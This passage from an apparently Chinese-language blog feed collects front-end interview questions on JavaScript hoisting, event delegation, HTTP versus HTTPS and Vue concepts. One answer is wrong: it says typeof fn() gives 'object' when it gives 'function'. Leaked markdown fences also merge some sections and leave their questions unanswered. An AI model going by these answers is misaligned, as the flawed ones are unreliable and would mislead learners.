class="line">事件委托是利用事件冒泡，只指定一个事件处理程序来管理某一类型的所有事件。</span><br><span class="line"></span><br><span class="line">通俗的讲，事件就是onclick、onmouseover、onmouseout等就是事件，委托呢，就是让别人来做，这个事件本来是加在某些元素上的，然而你却加到别人身上来做，完成这个事件。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">为什么要用事件委托？</span><br><span class="line"><span class="number">1.</span> 考虑一个ul，在li的数量非常少的时候，为每一个li添加事件当然会使用<span class="keyword">for</span>循环；但是数量多的时候这样做太浪费内存，长到上百上千上万的时候，为每个li添加事件就会对页面性能产生很大的影响。</span><br><span class="line"><span class="number">2.</span> 给一个ul里面的几个li添加了事件但是如果动态又生成了li则刚生成的li不具备事件这时就需要用到委托。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">作用：</span><br><span class="line"><span class="number">1.</span> 性能要好</span><br><span class="line"><span class="number">2.</span> 针对新创建的元素，直接可以拥有事件</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">事件委托就是利用事件冒泡原理实现的！</span><br><span class="line">事件冒泡：就是事件从最深节点开始，然后逐步向上传播事件；</span><br><span class="line">例：页面上有一个节点树，div &gt; ul  &gt; li  &gt;  a</span><br><span class="line">比如给最里面的a 加一个click 事件，那么事件就会一层一层的往外执行，执行顺序 a - li - ul - div,  有这样一个机制，当我们给最外层的div添加点击事件，那么里面的ul、li、a做点击事件的时候，都会冒泡到最外层的div上，所以都会触发，这就是事件委托，委托他们父集代为执行事件</span><br><span class="line"></span><br><span class="line">使用场景</span><br><span class="line"><span class="number">1.</span> 为<span class="variable constant_">DOM</span>中的很多元素绑定相同事件；</span><br><span class="line"><span class="number">2.</span> 为<span class="variable constant_">DOM</span>中尚不存在的元素绑定事件；</span><br></pre></td></tr></table></figure><p><strong>下面代码分别输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">typeof</span> a); <span class="comment">// undefined</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b); <span class="comment">// ReferenceError: b is not defined</span></span><br><span class="line">b = <span class="number">10</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">typeof</span> b);</span><br></pre></td></tr></table></figure><p><strong>输出什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line"><span class="keyword">var</span> b  = a;</span><br><span class="line">b.<span class="property">name</span> = <span class="string">&#x27;aaa&#x27;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a.<span class="property">name</span>); <span class="comment">// aaa</span></span><br></pre></td></tr></table></figure><p><strong>http和https的区别</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> <span class="variable constant_">HTTP</span> 明文传输，数据都是未加密的，安全性较差，<span class="variable constant_">HTTPS</span>（<span class="variable constant_">SSL</span>+<span class="variable constant_">HTTP</span>） 数据传输过程是加密的，安全性较好。</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 使用 <span class="variable constant_">HTTPS</span> 协议需要到 <span class="variable constant_">CA</span>（<span class="title class_">Certificate</span> <span class="title class_">Authority</span>，数字证书认证机构） 申请证书，一般免费证书较少，因而需要一定费用。证书颁发机构如：<span class="title class_">Symantec</span>、<span class="title class_">Comodo</span>、<span class="title class_">GoDaddy</span> 和 <span class="title class_">GlobalSign</span> 等。</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> <span class="variable constant_">HTTP</span> 页面响应速度比 <span class="variable constant_">HTTPS</span> 快，主要是因为 <span class="variable constant_">HTTP</span> 使用 <span class="variable constant_">TCP</span> 三次握手建立连接，客户端和服务器需要交换 <span class="number">3</span> 个包，而 <span class="variable constant_">HTTPS</span>除了 <span class="variable constant_">TCP</span> 的三个包，还要加上 ssl 握手需要的 <span class="number">9</span> 个包，所以一共是 <span class="number">12</span> 个包。</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> http 和 https 使用的是完全不同的连接方式，用的端口也不一样，前者是 <span class="number">80</span>，后者是 <span class="number">443</span>。</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> <span class="variable constant_">HTTPS</span> 其实就是建构在 <span class="variable constant_">SSL</span>/<span class="variable constant_">TLS</span> 之上的 <span class="variable constant_">HTTP</span> 协议，所以，要比较 <span class="variable constant_">HTTPS</span> 比 <span class="variable constant_">HTTP</span> 要更耗费服务器资源。</span><br></pre></td></tr></table></figure><p><strong>vuex刷新数据丢失怎么解决</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 将vuex中的数据直接保存到浏览器缓存中（<span class="variable language_">sessionStorage</span>、<span class="variable language_">localStorage</span>、cookie）</span><br><span class="line"><span class="number">2.</span> 在页面刷新的时候再次请求远程数据，使之动态更新vuex数据</span><br><span class="line"><span class="number">3.</span> 在父页面向后台请求远程数据，并且在页面刷新前将vuex的数据先保存至<span class="variable language_">sessionStorage</span>（以防请求数据量过大页面加载时拿不到返回的数据）</span><br></pre></td></tr></table></figure><p><strong>vue首屏优化</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">~~~</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 面试题库<span class="number">8</span></span><br><span class="line"></span><br><span class="line">**输出下面运行结果**</span><br><span class="line"></span><br><span class="line">~~~js</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Foo</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">goo</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span>)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Foo</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">goo</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Foo</span>.<span class="property">goo</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">3</span>)</span><br><span class="line">&#125;</span><br><span class="line">              </span><br><span class="line"><span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Foo</span>();</span><br><span class="line">p.<span class="title function_">goo</span>(); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure><p><strong>兼容性布局方式有哪些</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">~~~</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">**答案是多少**</span><br><span class="line"></span><br><span class="line">~~~<span class="title function_">js</span></span><br><span class="line">(<span class="keyword">function</span>(<span class="params">x</span>) &#123;</span><br><span class="line">    <span class="keyword">delete</span> x;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(x);</span><br><span class="line">&#125;) (<span class="number">1</span> + <span class="number">5</span>);</span><br><span class="line"><span class="comment">//  6</span></span><br></pre></td></tr></table></figure><p>函数参数无法 delete 删除，delete 只能删除通过 for in 访问的属性，也就是只能删除对象的属性、数组的元素；删除失败也不会报错，所以输出6</p><p><strong>在 JS 中有哪些会被隐式转换为 false</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> <span class="literal">undefined</span></span><br><span class="line"><span class="number">2.</span> <span class="literal">null</span></span><br><span class="line"><span class="number">3.</span> <span class="literal">false</span></span><br><span class="line"><span class="number">4.</span> <span class="title class_">NaN</span></span><br><span class="line"><span class="number">5.</span> <span class="number">0</span></span><br><span class="line"><span class="number">6.</span> <span class="string">&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>事件委托是什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">让利用事件冒泡的原理，让自己的所触发的事件，让他的父元素代替执行</span><br></pre></td></tr></table></figure><p><strong>那些操作会造成内存泄漏？</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 闭包</span><br><span class="line"><span class="number">2.</span> 死循环</span><br></pre></td></tr></table></figure><p><strong>用 js 实现千位分隔符?</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">commafy</span>(<span class="params">num</span>) &#123;</span><br><span class="line">  num = num + <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">  <span class="keyword">var</span> reg = <span class="regexp">/(-?\d+)(\d&#123;3&#125;)/</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(reg.<span class="title function_">test</span>(num))&#123;</span><br><span class="line">    num = num.<span class="title function_">replace</span>(reg, <span class="string">&#x27;$1,$2&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> num;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">commafy</span>(<span class="number">1234</span>); <span class="comment">// 1,234</span></span><br></pre></td></tr></table></figure><p><strong>输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// ƒ a()&#123;&#125;</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">3</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">a</span>(<span class="params"></span>) &#123;&#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">//3</span></span><br></pre></td></tr></table></figure><p><strong>输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123; </span><br><span class="line">    <span class="keyword">return</span> a;</span><br><span class="line">    a = <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">a</span>(<span class="params"></span>) &#123;&#125;;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">typeof</span> <span class="title function_">fn</span>(); <span class="comment">// object</span></span><br><span class="line"><span class="comment">// 考点：函数声明提前</span></span><br></pre></td></tr></table></figure><p><strong>输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">2</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123; </span><br><span class="line">    <span class="variable language_">window</span>.<span class="property">a</span> = <span class="number">3</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p><strong>输出结果</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123; </span><br><span class="line">    a = <span class="number">10</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 10</span></span><br><span class="line"><span class="comment">// 如果在函数内没有声明变量，直接给变量赋值，会声明出一个全局的变量</span></span><br></pre></td></tr></table></figure><h1 id="面试题库9"><a href="#面试题库9" class="headerlink" title="面试题库9"></a>面试题库9</h1><p><strong>什么行为会引起重排和重绘</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 重绘：dom节点的css样式颜色的变化过程叫做重绘 改变的是cssTree 一部分变化，对randerTree影响相对较小。所以相对与重排而言对浏览器性能影响较小</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 重排：js动态的修改dom 即更改了<span class="variable constant_">DOM</span>树了 更改dom树之后 renderTree就变了，renderTree变了也就是要重新建立一个renderTree了 ，这个过程叫做重排</span><br></pre></td></tr></table></figure><p><strong>http和https的区别</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">https协议需要到<span class="variable constant_">CA</span>申请证书，一般免费证书较少，因而需要一定费用。</span><br><span class="line"></span><br><span class="line">http是超文本传输协议，信息是明文传输，https则是具有安全性的ssl/tls加密传输协议。</span><br><span class="line"></span><br><span class="line">http和https使用的是完全不同的连接方式，用的端口也不一样，前者是<span class="number">80</span>，后者是<span class="number">443</span>。</span><br><span class="line"></span><br><span class="line">http的连接很简单，是无状态的；<span class="variable constant_">HTTPS</span>协议是由<span class="variable constant_">SSL</span>/<span class="variable constant_">TLS</span>+<span class="variable constant_">HTTP</span>协议构建的可进行加密传输、身份认证的网络协议，比http协议安全</span><br></pre></td></tr></table></figure><p><strong>组件化模块化的理解</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> web </tag>
            
            <tag> html </tag>
            
            <tag> css </tag>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Vue面试题汇总</title>
      <link href="/2021/08/12/vue-mian-shi-ti/"/>
      <url>/2021/08/12/vue-mian-shi-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="Vue面试题"><a href="#Vue面试题" class="headerlink" title="Vue面试题"></a>Vue面试题</h1><h2 id="谈谈对Vue的理解"><a href="#谈谈对Vue的理解" class="headerlink" title="谈谈对Vue的理解"></a>谈谈对Vue的理解</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 渐进式 <span class="title class_">JavaScript</span> 框架，轻量级框架，只关心视图层</span><br><span class="line"><span class="number">2.</span> 双向数据绑定，数据操作方面更为简单</span><br><span class="line"><span class="number">3.</span> 组件化开发，在构建单页面应用方面有着独特的优势</span><br><span class="line"><span class="number">4.</span> 虚拟<span class="variable constant_">DOM</span>，减少<span class="variable constant_">DOM</span>操作，性能更好</span><br><span class="line"><span class="number">5.</span> 运行速度更快</span><br></pre></td></tr></table></figure><h2 id="对MVVM的理解"><a href="#对MVVM的理解" class="headerlink" title="对MVVM的理解"></a>对MVVM的理解</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable constant_">MVVM</span>是双向数据绑定</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> M 是 <span class="title class_">Model</span> 数据层</span><br><span class="line"><span class="number">2.</span> V 是 <span class="title class_">View</span> 视图层</span><br><span class="line"><span class="number">3.</span> <span class="variable constant_">VM</span> 是 <span class="title class_">ViewModel</span> 数据和视图的监听层，当数据或视图发生改变时，<span class="variable constant_">VM</span>层能监听到，同时把对应的另外一层改变或者重新渲染（<span class="title class_">Vue</span>就是<span class="variable constant_">VM</span>监听层）</span><br><span class="line">数据层改变，vm会帮助我们重新渲染视图</span><br><span class="line">视图层改变，vm会帮我们把数据重新更改</span><br></pre></td></tr></table></figure><h2 id="Vue的双向数据绑定原理"><a href="#Vue的双向数据绑定原理" class="headerlink" title="Vue的双向数据绑定原理"></a>Vue的双向数据绑定原理</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">vue.<span class="property">js</span> 是采用数据劫持结合发布者-订阅者模式的方式，通过<span class="title class_">Object</span>.<span class="title function_">defineProperty</span>()来劫持各个属性的setter、getter，在数据变动时发布消息给订阅者，触发相应的监听回调</span><br></pre></td></tr></table></figure><h2 id="Vue生命周期"><a href="#Vue生命周期" class="headerlink" title="Vue生命周期"></a>Vue生命周期</h2><p>总共分为8个阶段创建前/后，载入前/后，更新前/后，销毁前/后</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> <span class="title function_">beforeCreate</span>(): 创建前，data、methods、computed以及watch上的数据和方法都不能被访问</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> <span class="title function_">created</span>(): 创建后，实例创建完成，可以操作 data、method 里的数据，可以进行一些数据、资源的请求</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> <span class="title function_">beforeMount</span>(): 挂载前，当前阶段虚拟 <span class="title class_">Dom</span> 已经创建完成，即将开始渲染</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> <span class="title function_">mounted</span>(): 挂载后，真实的 <span class="title class_">Dom</span> 挂载完毕，数据完成双向绑定，可以访问到<span class="title class_">Dom</span>节点，使用$refs属性对<span class="title class_">Dom</span>进行操作</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> <span class="title function_">beforeUpdate</span>(): 更新前，也就是响应式数据发生更新，虚拟dom重新渲染之前被触发，你可以在当前阶段进行更改据，不会造成重渲染</span><br><span class="line"></span><br><span class="line"><span class="number">6.</span> <span class="title function_">updated</span>(): 更新后，可以执行依赖于 <span class="variable constant_">DOM</span> 的操作，但是要避免更改状态，可能会导致更新无线循环</span><br><span class="line"></span><br><span class="line"><span class="number">7.</span> <span class="title function_">beforeDestory</span>(): 销毁前，在当前阶段实例完全可以被使用</span><br><span class="line"></span><br><span class="line"><span class="number">8.</span> <span class="title function_">destoryed</span>(): 销毁后，这个时候只剩下了dom空壳，可以执行一些优化操作，清空计时器，解除绑定事件</span><br></pre></td></tr></table></figure><p><img src="https://vmhandsel.oss-cn-shenzhen.aliyuncs.com/1597714975344.png" alt="img"></p><h2 id="vue组件中data必须是一个函数"><a href="#vue组件中data必须是一个函数" class="headerlink" title="vue组件中data必须是一个函数"></a>vue组件中data必须是一个函数</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> vue组件是可以被用来创建多个实例的，如果data是一个对象的话，那么所有实例就将共享同一个data对象，这种情况下修改其中一个实例的data属性，会带来其他的组件也被修改</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 组件之间的数据是相对独立，互不影响才符合组件的思想</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> data设置为函数的形式后，每次创建组件实例，data都是一个全新的对象副本，这样达到了相互独立的目标</span><br></pre></td></tr></table></figure><h2 id="Vue的DOM操作是同步还是异步？"><a href="#Vue的DOM操作是同步还是异步？" class="headerlink" title="Vue的DOM操作是同步还是异步？"></a>Vue的DOM操作是同步还是异步？</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">vue中对<span class="variable constant_">DOM</span>的操作都是异步的</span><br><span class="line">当 <span class="variable language_">this</span>.<span class="property">name</span> = <span class="string">&#x27;hello&#x27;</span> 修改data后，视图view不会立即发生</span><br><span class="line">而是vue会把此次<span class="variable constant_">DOM</span>操作放到事件队列里，待一定时机后，在更新队列里的操作</span><br></pre></td></tr></table></figure><h2 id="computed和watch的区别"><a href="#computed和watch的区别" class="headerlink" title="computed和watch的区别"></a>computed和watch的区别</h2><p><strong>计算属性：computed</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 支持缓存，只有依赖数据发生改变，才会重新进行计算</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 不支持异步，当computed内有异步操作时无效，无法监听数据的变化</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> computed 属性值会默认走缓存，计算属性是基于它们的响应式依赖进行缓存的，也就是基于data中声明过或者父组件传递的props中的数据通过计算得到的值</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> 如果一个属性是由其他属性计算而来的，这个属性依赖其他属性，是一个多对一或者一对一，一般用computed</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> 如果computed属性属性值是函数，那么默认会走get方法；函数的返回值就是属性的属性值；在computed中的，属性都有一个get和一个set方法，当数据变化时，调用set方法</span><br></pre></td></tr></table></figure><p><strong>监听属性：watch</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 不支持缓存，数据表，直接会触发相应的操作</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> watch支持异步</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 监听的函数接收两个参数，第一个参数是最新的值；第二个参数是输入之前的旧值</span><br><span class="line"></span><br><span class="line"><span class="number">4.</span> 当一个属性发生变化时，需要执行对应的操作；一对多</span><br><span class="line"></span><br><span class="line"><span class="number">5.</span> 监听数据必须是data中声明过或者父组件传递过来的props中的数据，当数据变化时，触发其他操作，函数有两个参数</span><br></pre></td></tr></table></figure><blockquote><p>immediate：组件加载立即触发回调函数执行</p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">watch</span>: &#123;</span><br><span class="line">  <span class="attr">firstName</span>: &#123;</span><br><span class="line">    <span class="title function_">handler</span>(<span class="params">newName, oldName</span>) &#123;</span><br><span class="line">      <span class="variable language_">this</span>.<span class="property">fullName</span> = newName + <span class="string">&#x27; &#x27;</span> + <span class="variable language_">this</span>.<span class="property">lastName</span>;</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="comment">// 代表在wacth里声明了firstName这个方法之后立即执行handler方法</span></span><br><span class="line">    <span class="attr">immediate</span>: <span class="literal">true</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>deep: deep的意思就是深入观察，监听器会一层层的往下遍历，给对象的所有属性都加上这个监听器，但是这样性能开销就会非常大了，任何修改obj里面任何一个属性都会触发这个监听器里的 handler</p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">watch</span>: &#123;</span><br><span class="line">  <span class="attr">obj</span>: &#123;</span><br><span class="line">    <span class="title function_">handler</span>(<span class="params">newName, oldName</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;obj.a changed&#x27;</span>);</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">immediate</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="attr">deep</span>: <span class="literal">true</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>优化：我们可以使用字符串的形式监听</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">watch</span>: &#123;</span><br><span class="line">  <span class="string">&#x27;obj.a&#x27;</span>: &#123;</span><br><span class="line">    <span class="title function_">handler</span>(<span class="params">newName, oldName</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;obj.a changed&#x27;</span>);</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">immediate</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="comment">// deep: true</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样Vue.js才会一层一层解析下去，直到遇到属性a，然后才给a设置监听函数</p><h2 id="v-if-和-v-show-区别"><a href="#v-if-和-v-show-区别" class="headerlink" title="v-if 和 v-show 区别"></a>v-if 和 v-show 区别</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 相同点</span></span><br><span class="line">都能动态的控制元素的显示和隐藏</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不同点</span></span><br><span class="line">v-<span class="keyword">if</span>： 是动态的添加或删除dom元素（通过销毁和重建<span class="variable constant_">DOM</span>元素）</span><br><span class="line">v-show： 通过<span class="variable constant_">CSS</span>的display属性：none和block控制显示隐藏</span><br><span class="line"></span><br><span class="line"><span class="comment">// 总结：</span></span><br><span class="line">如果需要频繁切换某节点，使用 v-show（初始渲染开销较大，切换开销比较小）</span><br><span class="line">如果不需要频繁切换某节点，使用 v-<span class="keyword">if</span>（初始渲染开销较小，切换开销比较大）</span><br></pre></td></tr></table></figure><h2 id="vue中-nextTick有什么作用"><a href="#vue中-nextTick有什么作用" class="headerlink" title="vue中$nextTick有什么作用"></a>vue中$nextTick有什么作用</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">处理数据动态变化后，dom还未及时更新的问题。$nextTick就可以获取到数据更新后最新的dom变化</span><br></pre></td></tr></table></figure><h2 id="对keep-alive的了解"><a href="#对keep-alive的了解" class="headerlink" title="对keep-alive的了解"></a>对keep-alive的了解</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">keep-alive是 <span class="title class_">Vue</span> 内置的一个组件，可以使被包含的组件保留状态，或避免重新渲染</span><br></pre></td></tr></table></figure><h2 id="vue-loader是什么"><a href="#vue-loader是什么" class="headerlink" title="vue-loader是什么"></a>vue-loader是什么</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">vue文件的一个加载器，跟template/js/style转换成js模块</span><br></pre></td></tr></table></figure><h2 id="v-modal的使用"><a href="#v-modal的使用" class="headerlink" title="v-modal的使用"></a>v-modal的使用</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">v-model 用于表单数据的双向绑定，其实它就是一个语法糖，这个背后就做了两个操作：</span><br><span class="line">v-bind 绑定一个value属性；</span><br><span class="line">v-on 指令给当前元素绑定input事件</span><br></pre></td></tr></table></figure><h2 id="v-for-key的作用"><a href="#v-for-key的作用" class="headerlink" title="v-for key的作用"></a>v-for key的作用</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 在对节点进行diff的过程中，判断是否为相同节点的一个很重要的条件是key是否相等，如果是相同节点，则会尽可能的复用原有的<span class="variable constant_">DOM</span>节点</span><br><span class="line"><span class="number">2.</span> 需要使用key来给每个节点做一个唯一标识，<span class="title class_">Diff</span>算法就可以正确的识别此节点。</span><br><span class="line"><span class="number">3.</span> 作用主要是为了高效的更新虚拟<span class="variable constant_">DOM</span></span><br></pre></td></tr></table></figure><h2 id="v-for-和-v-if-为什么不能连用"><a href="#v-for-和-v-if-为什么不能连用" class="headerlink" title="v-for 和 v-if 为什么不能连用"></a>v-for 和 v-if 为什么不能连用</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">v-<span class="keyword">for</span> 会比 v-<span class="keyword">if</span> 的优先级更高，连用的话会把 v-<span class="keyword">if</span> 的每个元素都添加一下，造成性能问题</span><br></pre></td></tr></table></figure><h2 id="v-on可以监听多个方法吗"><a href="#v-on可以监听多个方法吗" class="headerlink" title="v-on可以监听多个方法吗"></a>v-on可以监听多个方法吗</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">可以</span><br><span class="line">&lt;input type=&quot;text&quot; v-on=&quot;&#123; input: onInput, focus: onFocus, blur: onBlur, &#125;&quot; /&gt;</span><br></pre></td></tr></table></figure><h2 id="组件传值"><a href="#组件传值" class="headerlink" title="组件传值"></a>组件传值</h2><p><strong>父传子</strong></p><p>通过props传递</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">父组件： &lt;child value = <span class="string">&#x27;传递的数据&#x27;</span> /&gt;</span><br><span class="line"></span><br><span class="line">子组件: props[<span class="string">&#x27;value&#x27;</span>],接收数据,接受之后使用和data中定义数据使用方式一样</span><br></pre></td></tr></table></figure><p><strong>子传父</strong></p><p>在父组件中给子组件绑定一个自定义的事件，子组件通过$emit()触发该事件并传值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">父组件： &lt;child @click = <span class="string">&#x27;onClick&#x27;</span> /&gt;</span><br><span class="line"></span><br><span class="line">子组件: <span class="variable language_">this</span>.$emit(<span class="string">&#x27;click&#x27;</span>,<span class="string">&#x27;传递的数据&#x27;</span>)</span><br></pre></td></tr></table></figure><p><strong>兄弟组件传值</strong></p><p>1、通过中央通信 let bus = new Vue()</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">A：methods :&#123; 函数&#123;bus.$emit(<span class="string">&#x27;自定义事件名&#x27;</span>，数据) &#125; 发送</span><br><span class="line"></span><br><span class="line">B：created （）&#123; bus.$on(<span class="string">&#x27;A发送过来的自定义事件名&#x27;</span>，函数) &#125; 进行数据接收</span><br></pre></td></tr></table></figure><p>2、通过vuex</p><h2 id="vue如何获取dom"><a href="#vue如何获取dom" class="headerlink" title="vue如何获取dom"></a>vue如何获取dom</h2><p>先给标签设置一个ref值，再通过this.$refs.domName获取，例如：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;div ref=&quot;test&quot;&gt;&lt;/div&gt;</span><br><span class="line"></span><br><span class="line">const dom = this.$refs.test</span><br></pre></td></tr></table></figure><h2 id="vue常用的修饰符"><a href="#vue常用的修饰符" class="headerlink" title="vue常用的修饰符"></a>vue常用的修饰符</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.stop：等同于JavaScript中的event.stopPropagation()，防止事件冒泡</span><br><span class="line"></span><br><span class="line">.prevent：等同于JavaScript中的event.preventDefault()，防止执行预设的行为（如果事件可取消，则取消该事件，而不停止事件的进一步传播</span><br><span class="line"></span><br><span class="line">.capture：与事件冒泡的方向相反，事件捕获由外到内</span><br><span class="line"></span><br><span class="line">.self：只会触发自己范围内的事件，不包含子元素</span><br><span class="line"></span><br><span class="line">.once：只会触发一次</span><br></pre></td></tr></table></figure><h2 id="vue如何监听对象或数组某个属性的变化"><a href="#vue如何监听对象或数组某个属性的变化" class="headerlink" title="vue如何监听对象或数组某个属性的变化"></a>vue如何监听对象或数组某个属性的变化</h2><p>当在项目中直接设置数组的某一项的值，或者直接设置对象的某个属性值，这个时候，你会发现页面并没有更新。这是因为Object.defineprototype()限制，监听不到变化</p><p><strong>解决方式</strong></p><blockquote><p>this.$set(你要改变的数组/对象，你要改变的位置/key，你要改成什么value)</p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">this</span>.$set(<span class="variable language_">this</span>.<span class="property">arr</span>, <span class="number">0</span>, <span class="string">&quot;李四&quot;</span>); <span class="comment">// 